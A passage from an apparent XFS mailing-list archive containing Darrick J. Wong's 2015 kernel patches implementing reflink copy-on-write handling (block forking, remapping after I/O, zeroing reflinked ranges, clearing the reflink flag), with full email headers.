imap->br_blockcount, + imap->br_startblock); + + + /* Delete temporary mapping */ + error = remap_search(ip, imap->br_startoff, &eio); + if (error) + return error; + rb_erase(&eio->rlei_node, &ip->i_remaps); + + /* Unmap the old blocks */ + resblks = XFS_DIOSTRAT_SPACE_RES(mp, imap->br_blockcount * 3); + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + if (error) + goto out_cancel; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_bunmapi(tp, ip, imap->br_startoff, imap->br_blockcount, 0, + imap->br_blockcount, &firstfsb, &free_list, &done); + if (error) + goto out_freelist; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_cancel; + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + + /* Remove the EFD and map the new block into the file. */ + resblks = XFS_DIOSTRAT_SPACE_RES(mp, imap->br_blockcount * 3); + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + if (error) + goto out_cancel; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + efd = xfs_trans_get_efd(tp, eio->rlei_efi, 1); + xfs_trans_undelete_extent(tp, efd, imap->br_startblock, + imap->br_blockcount); + + error = xfs_bmapi_write(tp, ip, imap->br_startoff, imap->br_blockcount, + XFS_BMAPI_REMAP, &imap->br_startblock, + imap->br_blockcount, &imaps[0], &nimaps, + &free_list); + if (error) + goto out_freelist; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_cancel; + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + return error; + +out_freelist: + xfs_bmap_cancel(&free_list); +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_remap_after_io_error(ip, error, _RET_IP_); + return error; +} + +/** + * xfs_reflink_fork_ioend() - remap all blocks after forking + * + * @ioend: the io completion object + */ +int +xfs_reflink_fork_ioend( + struct xfs_ioend *ioend) +{ + int error, err2; + struct list_head *pos, *n; + struct xfs_reflink_ioend *eio; + struct xfs_inode *ip = XFS_I(ioend->io_inode); + struct xfs_mount *mp = ip->i_mount; + + error = 0; + list_for_each_safe(pos, n, &ioend->io_reflink_endio_list) { + eio = list_entry(pos, struct xfs_reflink_ioend, rlei_list); + err2 = xfs_reflink_remap_after_io(mp, ip, eio); + if (error == 0) + error = err2; + kfree(eio); + } + return error; +} + +/** + * xfs_reflink_should_fork_block() - determine if a block should be forked + * + * @ip: XFS inode object + * @imap: the fileoff:fsblock mapping that we might fork + * @offset: the file offset of the block we're examining + * @type: set to true if reflinked, false otherwise. + */ +int +xfs_reflink_should_fork_block( + struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, + xfs_off_t offset, + bool *type) +{ + xfs_fsblock_t fsbno; + xfs_off_t iomap_offset; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + xfs_extlen_t len; + xfs_nlink_t nr; + int error; + struct xfs_mount *mp = ip->i_mount; + + if (!xfs_is_reflink_inode(ip) || + ISUNWRITTEN(imap) || + imap->br_startblock == HOLESTARTBLOCK || + imap->br_startblock == DELAYSTARTBLOCK) { + *type = false; + return 0; + } + + iomap_offset = XFS_FSB_TO_B(mp, imap->br_startoff); + fsbno = imap->br_startblock + XFS_B_TO_FSB(mp, offset - iomap_offset); + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + ASSERT(imap->br_state == XFS_EXT_NORM); + + error = xfs_reflink_get_refcount(mp, agno, agbno, &len, &nr); + if (error) + return error; + ASSERT(len != 0); + *type = (nr > 1); + return error; +} + +/* Cancel a forked block being held for a CoW operation */ +STATIC int +xfs_reflink_free_forked( + struct xfs_mount *mp, + struct xfs_inode *ip, + struct xfs_reflink_ioend *eio) +{ + struct xfs_trans *tp = NULL; + int error; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + xfs_fsblock_t firstfsb; + int committed; + struct xfs_bmap_free free_list; + struct xfs_bmbt_irec *imap = &eio->rlei_mapping; + struct xfs_efd_log_item *efd; + unsigned int resblks; + + ASSERT(xfs_is_reflink_inode(ip)); + agno = XFS_FSB_TO_AGNO(mp, imap->br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, imap->br_startblock); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agbno, 1); + ASSERT(imap->br_state == XFS_EXT_NORM); + + trace_xfs_reflink_free_forked(ip, imap->br_startoff, + eio->rlei_oldfsbno, imap->br_blockcount, + imap->br_startblock); + + /* Remove the EFD and map the new block into the file. */ + resblks = XFS_DIOSTRAT_SPACE_RES(mp, imap->br_blockcount * 3); + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + if (error) + goto out_cancel; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + efd = xfs_trans_get_efd(tp, eio->rlei_efi, 1); + xfs_trans_undelete_extent(tp, efd, imap->br_startblock, + imap->br_blockcount); + + xfs_bmap_init(&free_list, &firstfsb); + xfs_bmap_add_free(mp, &free_list, imap->br_startblock, 1, NULL); + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_cancel; + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + return error; + +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_free_forked_error(ip, error, _RET_IP_); + return error; +} + +/** + * xfs_reflink_cancel_fork_ioend() - free all forked blocks attached to an ioend + * + * @ioend: the io completion object + */ +int +xfs_reflink_cancel_fork_ioend( + struct xfs_ioend *ioend) +{ + int error, err2; + struct list_head *pos, *n; + struct xfs_reflink_ioend *eio; + struct xfs_inode *ip = XFS_I(ioend->io_inode); + struct xfs_mount *mp = ip->i_mount; + + error = 0; + list_for_each_safe(pos, n, &ioend->io_reflink_endio_list) { + eio = list_entry(pos, struct xfs_reflink_ioend, rlei_list); + err2 = xfs_reflink_free_forked(mp, ip, eio); + if (error == 0) + error = err2; + kfree(eio); + } + return error; +} + +/** + * xfs_reflink_cancel_fork_blocks() -- Free all forked blocks attached to + * an inode. + * + * @ip: The inode. + */ +int +xfs_reflink_cancel_fork_blocks( + struct xfs_inode *ip) +{ + struct rb_node *node; + struct xfs_reflink_ioend *eio; + int error = 0; + int err2; + + while ((node = rb_first(&ip->i_remaps))) { + eio = rb_entry(node, struct xfs_reflink_ioend, rlei_node); + err2 = xfs_reflink_free_forked(ip->i_mount, ip, eio); + if (error == 0) + error = err2; + rb_erase(node, &ip->i_remaps); + kfree(eio); + } + + return error; +} + +/** + * xfs_reflink_add_ioend() -- Hook ourselves up to the ioend processing + * so that we can finish forking a block after + * the write completes. + * + * @ioend: The regular ioend structure. + * @eio: The reflink ioend context. + */ +void +xfs_reflink_add_ioend( + struct xfs_ioend *ioend, + struct xfs_reflink_ioend *eio) +{ + list_add_tail(&eio->rlei_list, &ioend->io_reflink_endio_list); +} diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h new file mode 100644 index 0000000..b3e12d2 --- /dev/null +++ b/fs/xfs/xfs_reflink.h @@ -0,0 +1,41 @@ +/* + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_REFLINK_H +#define __XFS_REFLINK_H 1 + +struct xfs_reflink_ioend; + +extern int xfs_reflink_get_refcount(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_extlen_t *len, xfs_nlink_t *nr); +extern int xfs_reflink_write_fork_block(struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, xfs_off_t offset, + unsigned int *type, struct xfs_reflink_ioend **peio); +extern int xfs_reflink_reserve_fork_block(struct xfs_inode *ip, + xfs_off_t pos, xfs_off_t len); +extern int xfs_reflink_redirect_directio_write(struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, xfs_off_t offset); +extern int xfs_reflink_cancel_fork_ioend(struct xfs_ioend *ioend); +extern int xfs_reflink_cancel_fork_blocks(struct xfs_inode *ip); +extern int xfs_reflink_fork_ioend(struct xfs_ioend *ioend); +extern void xfs_reflink_add_ioend(struct xfs_ioend *ioend, + struct xfs_reflink_ioend *eio); + +extern int xfs_reflink_should_fork_block(struct xfs_inode *ip, + struct xfs_bmbt_irec *imap, xfs_off_t offset, bool *type); + +#endif /* __XFS_REFLINK_H */ diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 50fe77e..07e8460 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -223,6 +223,9 @@ struct xfs_efd_log_item *xfs_trans_get_efd(xfs_trans_t *, int xfs_trans_free_extent(struct xfs_trans *, struct xfs_efd_log_item *, xfs_fsblock_t, xfs_extlen_t, struct xfs_owner_info *); +void xfs_trans_undelete_extent(struct xfs_trans *, + struct xfs_efd_log_item *, xfs_fsblock_t, + xfs_extlen_t); int xfs_trans_commit(struct xfs_trans *); int __xfs_trans_roll(struct xfs_trans **, struct xfs_inode *, int *); int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); diff --git a/fs/xfs/xfs_trans_extfree.c b/fs/xfs/xfs_trans_extfree.c index d1b8833..a2fed6e 100644 --- a/fs/xfs/xfs_trans_extfree.c +++ b/fs/xfs/xfs_trans_extfree.c @@ -146,3 +146,30 @@ xfs_trans_free_extent( return error; } + +/* + * Undelete this extent, by logging it to the EFD. Note that the transaction is + * marked dirty regardless of whether the extent free succeeds or fails to + * support the EFI/EFD lifecycle rules. This should only be used when the + * ownership of the extent hasn't changed, i.e. reflink copy-on-write. + */ +void +xfs_trans_undelete_extent( + struct xfs_trans *tp, + struct xfs_efd_log_item *efdp, + xfs_fsblock_t start_block, + xfs_extlen_t ext_len) +{ + uint next_extent; + struct xfs_extent *extp; + + tp->t_flags |= XFS_TRANS_DIRTY; + efdp->efd_item.li_desc->lid_flags |= XFS_LID_DIRTY; + + next_extent = efdp->efd_next_extent; + ASSERT(next_extent < efdp->efd_format.efd_nextents); + extp = &(efdp->efd_format.efd_extents[next_extent]); + extp->ext_start = start_block; + extp->ext_len = ext_len; + efdp->efd_next_extent++; +} From darrick.wong@oracle.com Wed Oct 7 00:00:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A47E029E39 for ; Wed, 7 Oct 2015 00:00:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 365B8AC006 for ; Tue, 6 Oct 2015 22:00:30 -0700 (PDT) X-ASG-Debug-ID: 1444194028-04bdf020dc0e5d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 07OZ5UO4xO09G4G3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:28 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750Qtu014113 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:27 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9750Q5T000809 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:26 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750QXa006978; Wed, 7 Oct 2015 05:00:26 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:26 -0700 Subject: [PATCH 48/58] xfs: copy-on-write reflinked blocks when zeroing ranges of blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 48/58] xfs: copy-on-write reflinked blocks when zeroing ranges of blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:25 -0700 Message-ID: <20151007050025.30457.19562.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194028 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines When we're writing zeroes to a reflinked block (such as when we're punching a reflinked range), we need to fork the the block and write to that, otherwise we can corrupt the other reflinks. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_bmap_util.c | 25 +++++++- fs/xfs/xfs_reflink.c | 154 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 6 ++ 3 files changed, 183 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 245a34a..b054b28 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -41,6 +41,7 @@ #include "xfs_icache.h" #include "xfs_log.h" #include "xfs_rmap_btree.h" +#include "xfs_reflink.h" /* Kernel only BMAP related definitions and functions */ @@ -1095,7 +1096,9 @@ xfs_zero_remaining_bytes( xfs_buf_t *bp; xfs_mount_t *mp = ip->i_mount; int nimap; - int error = 0; + int error = 0, err2; + bool should_fork; + struct xfs_trans *tp; /* * Avoid doing I/O beyond eof - it's not necessary @@ -1136,8 +1139,14 @@ xfs_zero_remaining_bytes( if (lastoffset > endoff) lastoffset = endoff; + /* Do we need to CoW this block? */ + error = xfs_reflink_should_fork_block(ip, &imap, offset, + &should_fork); + if (error) + return error; + /* DAX can just zero the backing device directly */ - if (IS_DAX(VFS_I(ip))) { + if (IS_DAX(VFS_I(ip)) && !should_fork) { error = dax_zero_page_range(VFS_I(ip), offset, lastoffset - offset + 1, xfs_get_blocks_direct); @@ -1158,10 +1167,22 @@ xfs_zero_remaining_bytes( (offset - XFS_FSB_TO_B(mp, imap.br_startoff)), 0, lastoffset - offset + 1); + tp = NULL; + if (should_fork) { + error = xfs_reflink_fork_buf(ip, bp, offset_fsb, &tp); + if (error) + return error; + } + error = xfs_bwrite(bp); + + err2 = xfs_reflink_finish_fork_buf(ip, bp, offset_fsb, tp, + error, imap.br_startblock); xfs_buf_relse(bp); if (error) return error; + if (err2) + return err2; } return error; } diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index 226e23f..f5eed2f 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -788,3 +788,157 @@ xfs_reflink_add_ioend( { list_add_tail(&eio->rlei_list, &ioend->io_reflink_endio_list); } + +/** + * xfs_reflink_fork_buf() - start a transaction to fork a buffer (if needed) + * + * @mp: XFS mount point + * @ip: XFS inode + * @bp: the buffer that we might need to fork + * @fileoff: file offset of the buffer + * @ptp: pointer to an XFS transaction + */ +int +xfs_reflink_fork_buf( + struct xfs_inode *ip, + struct xfs_buf *bp, + xfs_fileoff_t fileoff, + struct xfs_trans **ptp) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + xfs_fsblock_t fsbno; + xfs_fsblock_t new_fsbno; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + uint resblks; + int error; + + fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + CHECK_AG_NUMBER(mp, agno); + CHECK_AG_EXTENT(mp, agno, 1); + + /* + * Get ready to remap the thing... + */ + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 3); + tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + goto out_cancel; + } + error = xfs_trans_reserve_quota(tp, mp, + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, + resblks, 0, XFS_QMOPT_RES_REGBLKS); + if (error) + goto out_cancel; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + /* fork block, remap buffer */ + error = fork_one_block(mp, tp, ip, fsbno, &new_fsbno, fileoff); + if (error) + goto out_cancel; + + trace_xfs_reflink_fork_buf(ip, fileoff, fsbno, 1, new_fsbno); + + XFS_BUF_SET_ADDR(bp, XFS_FSB_TO_DADDR(mp, new_fsbno)); + *ptp = tp; + return error; + +out_cancel: + xfs_trans_cancel(tp); + trace_xfs_reflink_fork_buf_error(ip, error, _RET_IP_); + return error; +} + +/** + * xfs_reflink_finish_fork_buf() - finish forking a file buffer + * + * @ip: XFS inode + * @bp: the buffer that was forked + * @fileoff: file offset of the buffer + * @tp: transaction that was returned from xfs_reflink_fork_buf() + * @write_error: status code from writing the block + */ +int +xfs_reflink_finish_fork_buf( + struct xfs_inode *ip, + struct xfs_buf *bp, + xfs_fileoff_t fileoff, + struct xfs_trans *tp, + int write_error, + xfs_fsblock_t old_fsbno) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_bmap_free free_list; + xfs_fsblock_t firstfsb; + xfs_fsblock_t fsbno; + struct xfs_bmbt_irec imaps[1]; + xfs_agnumber_t agno; + int nimaps = 1; + int done; + int error = write_error; + int committed; + struct xfs_owner_info oinfo; + + if (tp == NULL) + return 0; + + fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + agno = XFS_FSB_TO_AGNO(mp, fsbno); + XFS_RMAP_INO_OWNER(&oinfo, ip->i_ino, XFS_DATA_FORK, fileoff); + if (write_error != 0) + goto out_write_error; + + trace_xfs_reflink_fork_buf(ip, fileoff, old_fsbno, 1, fsbno); + /* + * Remap the old blocks. + */ + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_bunmapi(tp, ip, fileoff, 1, 0, 1, &firstfsb, &free_list, + &done); + if (error) + goto out_free; + ASSERT(done == 1); + + error = xfs_bmapi_write(tp, ip, fileoff, 1, XFS_BMAPI_REMAP, &fsbno, + 1, &imaps[0], &nimaps, &free_list); + if (error) + goto out_free; + + /* + * complete the transaction + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_cancel; + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + + return error; +out_free: + xfs_bmap_finish(&tp, &free_list, &committed); +out_write_error: + done = xfs_free_extent(tp, fsbno, 1, &oinfo); + if (error == 0) + error = done; +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_finish_fork_buf_error(ip, error, _RET_IP_); + return error; +} diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h index b3e12d2..ce00cf6 100644 --- a/fs/xfs/xfs_reflink.h +++ b/fs/xfs/xfs_reflink.h @@ -38,4 +38,10 @@ extern void xfs_reflink_add_ioend(struct xfs_ioend *ioend, extern int xfs_reflink_should_fork_block(struct xfs_inode *ip, struct xfs_bmbt_irec *imap, xfs_off_t offset, bool *type); +extern int xfs_reflink_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, + xfs_fileoff_t fileoff, struct xfs_trans **ptp); +extern int xfs_reflink_finish_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, + xfs_fileoff_t fileoff, struct xfs_trans *tp, int write_error, + xfs_fsblock_t old_fsbno); + #endif /* __XFS_REFLINK_H */ From darrick.wong@oracle.com Wed Oct 7 00:00:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 67D537FAA for ; Wed, 7 Oct 2015 00:00:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 591858F8035 for ; Tue, 6 Oct 2015 22:00:41 -0700 (PDT) X-ASG-Debug-ID: 1444194040-04cb6c57860d5f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id LE0orpRj3ETvDK93 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:40 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750Zev009348 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:35 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9750Zlq001562 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:35 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9750YC0019855; Wed, 7 Oct 2015 05:00:34 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:32 -0700 Subject: [PATCH 49/58] xfs: clear inode reflink flag when freeing blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 49/58] xfs: clear inode reflink flag when freeing blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:31 -0700 Message-ID: <20151007050031.30457.60740.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194040 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Clear the inode reflink flag when freeing or truncating all blocks in a file. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_bmap_util.c | 8 ++++++++ fs/xfs/xfs_inode.c | 6 ++++++ 2 files changed, 14 insertions(+) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index b054b28..b20d136 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1338,6 +1338,14 @@ xfs_free_file_space( } /* + * Clear the reflink flag if we freed everything. + */ + if (ip->i_d.di_nblocks == 0 && xfs_is_reflink_inode(ip)) { + ip->i_d.di_flags2 &= ~XFS_DIFLAG2_REFLINK; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + } + + /* * complete the transaction */ error = xfs_bmap_finish(&tp, &free_list, &committed); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..61a468b 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1613,6 +1613,12 @@ xfs_itruncate_extents( } /* + * Clear the reflink flag if we truncated everything. + */ + if (ip->i_d.di_nblocks == 0 && xfs_is_reflink_inode(ip)) + ip->i_d.di_flags2 &= ~XFS_DIFLAG2_REFLINK; + + /* * Always re-log the inode so that our permanent transaction can keep * on rolling it forward in the log. */ From darrick.wong@oracle.com Wed Oct 7 00:00:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8AE2F29E12 for ; Wed, 7 Oct 2015 00:00:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6A3C8304032 for ; Tue, 6 Oct 2015 22:00:44 -0700 (PDT) X-ASG-Debug-ID: 1444194041-04cb6c578b0d600001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id S7cOURpE4SDw0a53 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:41 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750ext014246 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:40 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9750emV014351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:40 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750dQE022390; Wed, 7 Oct 2015 05:00:39 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:39 -0700 Subject: [PATCH 50/58] xfs: reflink extents from one file to another From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 50/58] xfs: reflink extents from one file to another To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:38 -0700 Message-ID: <20151007050038.30457.18221.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: 